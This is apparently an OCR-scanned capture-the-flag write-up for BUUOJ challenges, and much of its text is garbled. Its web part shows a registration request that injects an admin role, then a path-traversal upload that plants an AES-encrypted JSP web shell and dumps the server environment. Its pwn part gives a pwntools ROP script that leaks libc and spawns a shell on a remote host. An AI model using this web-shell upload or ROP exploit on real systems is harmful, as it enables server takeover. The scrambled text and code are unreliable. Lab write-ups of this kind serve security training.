{"role”:”guest”}}
|_JiRawy| 3 | % | ex |

POST iregister HTTP/1 .1

Host: 8910258f-25f8-4c97-85cd-3c7760c87148 node3 buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/plain, */*; q=0.01

Accept-Language: zh-CN zh;q=0.8,zh-TW;g=0.7 zh-HK;q=0.5 en-US;q=0 3 en;,q=0.2
Accept-Encoding: gzip, deflate
Content-Type: appli fo
X-Requested-With: XMLHttpRequest
Content-Length: 98

Origin: hittp: //8910258f-25f8-4c97-85cd-3c7760c87148.node3 buuoj.cn
Connection: close

Referer: hitp: //8910258f-25f8-4c97-85cd-3c7760c87148.node3 buuoj.cn/
Cookie: JSESSIONID=ABEAAE39D8157CAB54ESO0FDAS3DABTF

_| Raw | % | Hex | Render |
HTTPA .1 200 OK

Server: openresty

Date: Sat, 26 Jun 2021 09:49:54 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 17

Connection: close

T

8

register success!

bata=("username":"123" “"123""W0072\ “"admin","123"{"role":"guest"}}

M, BEREE

Home Upload Download Test Logout

USERINFO

USERNAME ROLE PIC

123 admin

Tpadmin/y, XERA#H Auploadi#iT L& 4



M EE
SRR -

iR B

HFMibRtomeat, BEiEfEjsp™al(T, EHKIB, HEiELE

RRIABRTE L, AMIEERFENGER. /. /static/, FMNRRFETERF®
| | Raw | ®3 | % | Hex |

POST homelupload HTTPH 1

Host: B910258f-25f8-4c97-85cd-3c7760c87148 node3 buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html application/xhtml+xml application/xml,g=0.9 image/webp **g=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary= 42943279083814320788159131764
Content-Length: 858

Origin: http://8910258f-25f8-4c97-85cd-3c7760cB71 48 .node3 buuoj.cn

Connection: close

Referer: hitp://89102581-25f8-4c97-85cd-3¢7760c87148 .node3 buuoj.cn/homelupload

Cookie: JSESSIONID=ABGAAE39D8157CABS4ESOOFDAS3DABTF

Upgrade-Insecure-Requests: 1

42943279083814320788159131764
Content-Disposition: form-data; name="file"; ﬁlename="..I..Istatic*hell.isp"
Content-Type: application/octet-stream

<%@page import="java util.* javax.crypto * javax crypto spec *"%><%!class U extends ClassLoader{U(ClassLoader
c){super(c); jpublic Class g(byte [Jb){return super defineClass(b 0 b length), }}%><%if
(request.getMethod() .equals("POST")){String

r c=Cipher getinstance("AES");c init(2 new SecretieySpec(k.getBytes(),"AES"));new
Uithis getClass().getClassLoader()).g(c doFinal(new

42943279083814320788159131764--

REKBERER

k="e45e329feb5d925b", /* 1% & ¥} 1 & 532 imdS 1A a116 1, BLiLIELE & Mrebeyond*/session putV/alue("u" k), Ciphe

sun.misc BASEE4Decoder() decodeBuffer(request getReader() readLine()))) newlnstance() equals(pageContext); %>




S http://8910258f-25f8-4¢97-85cd-3c7760c87148.node3.buuoj.cn/static/shell jsp - [} X

PATH=/usr/local/tomcat/bin:/usr/local/openjdk-8/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CATALINA_ BASE=/usr/local/tomcat

SHELL=/bin/sh

MAIL=/var/mail/app

CATALINA HOME=/ust/local/tomcat

LOGNAME=app

JDK JAVA OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-
opens=java.rmi/sun.rmi.transport=ALL-UNNAMED

USER=app

PWD=/home/app

SHLVL=0

HOME=/home/app

JREZ T%:

java.runtime.name = OpenJDK Runtime Environment
java.protocol.handler.pkgs = org.apache.catalina.webresources
sun.boot.library.path = /usr/local/openjdk-8/jre/lib/amd64
java.vm.version = 25.272-b10

shared.loader =

java.vm.vendor = Oracle Corporation

java.vendor.url = http://java.oracle.com/

path.separator = :

tomcat.util.buf.StringCache.byte.enabled = true
java.util.logging.config.file = /usr/local/tomcat/conf/logging.properties
java.vm.name = OpenJDK 64-Bit Server VM

file.encoding.pkg = sun.io

user.country = US

sun.java.launcher = SUN_ STANDARD

sun.os.patch.level = unknown
tomcat.util.scan.StandardJarScanFilter jarsToScan = log4j-taglib* jar,log4j-web* jar,logdjavascript* jar,slf4j-taglib* jar
java.vm.specification.name = Java Virtual Machine Specification
user.dir = /home/app

java.runtime.version = 1.8.0_272-b10

java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment
java.endorsed.dirs = /usr/local/openjdk-8/jre/lib/endorsed

os.arch = amd64 1

[OKEZRY, BEAEEFITEMW. 7Kki5 v3.0 Beta 11 [t00Is&HRR] By rebeyond

BEHTreadflagBia]
BAEE | erot | e | e | s | Ramshell | s | ey | TiesE | rEn | e | s

ETHUTSHRSR: | /bin/bash

Pwn

checkin

BWAadminflZE, BRMMNET, RERKERMNEMDS, REFEadmin,
bufea] LA 81 F T3, BErbp#iTHiT . Elread KELLRIE, HEBZEREEE -

read 5 ) Xrop

#!/usr/bin/python

from pwn import *

import sys

#from LibcSearcher import LibcSearcher
context.log_level = 'debug'

context.arch='amd64'

local=0



binary_name="'pwn'
libc_name="'1libc.so0.6'
if local:

p=process("./"+binary_name)

Tibc=ELF("./"+1libc_name)

#p = process(["gemu-arm", "-L", "/usr/arm-linux-gnueabihf",
"./"+binary_name])

#p = process(argv=["./gemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-
g", "1234", "./"+binary_name])
else:

p=remote ('node3.buuoj.cn',26160)

e=ELF("./"+binary_name)

Tibc=ELF("./"+1ibc_name)

def z(a='"):
if local:
gdb.attach(p,a)
if a=='":
raw_input
else:
pass
ru=Tlambda x:p.recvuntil(x)
sl=1lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ja=lambda :p.interactive()
def leak_address():
if(context.arch=="4386"):
return u32(p.recv(4))
else :

return u64(p.recv(6).ljust(8,b"'\x00"))

s1=b'admin\x00\x00\x00'+p64 (O0x602408)+p64 (0x4018e8)

sa('>",sl)

buf=b'admin\x00'+b'a'*(0x20-6) +p64 (0x602408)

sa('>"',buf)

pop_rdi=0x0000000000401ab3

puts_got=0x602028

read_plt=0x4006a0

puts_plt=0x400680
sd(b'admin\x00\x00\x00'+b'a'*8+p64 (pop_rdi)+p64 (puts_got)+p64 (puts_plt)+p6
4(0x4018e8))

ru('GeBai\n')

libcbase=1eak_address()-libc.sym["puts"]

print(hex(libcbase))

system=1libcbase+libc.sym["system"]

binsh=1ibcbase+0x18ce57
sd(b'admin\x00\x00\x00"'+b'a'*8*4+p64 (pop_rdi)+p64 (binsh)+p64 (system))






